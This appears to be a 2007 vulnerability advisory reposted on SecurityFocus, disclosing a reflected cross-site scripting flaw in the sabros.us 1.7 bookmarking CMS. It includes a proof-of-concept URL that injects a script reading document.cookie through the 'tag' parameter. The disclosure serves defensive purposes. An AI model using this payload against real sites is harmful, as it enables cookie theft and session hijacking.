[x0n3-h4ck] sabros.us 1.7 XSS Exploit Jan 18 2007 07:11PM
corrado liotta alice it
-=[--------------------ADVISORY-------------------]=-

sabros.us 1.7

Author: CorryL [corryl80 (at) gmail (dot) com [email concealed]]
-=[-----------------------------------------------]=-

-=[+] Application: sabros.us
-=[+] Version: 1.7
-=[+] Vendor's URL: http://sourceforge.net/projects/sabrosus/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Cross-Site Script
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org
-=[+] Virtual Office: http://www.kasamba.com/CorryL
-=[+] Irc Chan: irc.darksin.net #x0n3-h4ck

..::[ Descriprion ]::..

sabros.us is a CMS to put your bookmarks online with folksonomy support;
just like del.icio.us, but the big diference is you will have
the complete control of the source code and written on PHP with MySQL
as backend we make it cross platform.

..::[ Proof Of Concept ]::..

http://remote-server/index.php?tag=</title><script>alert(document.cookie
)</script>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus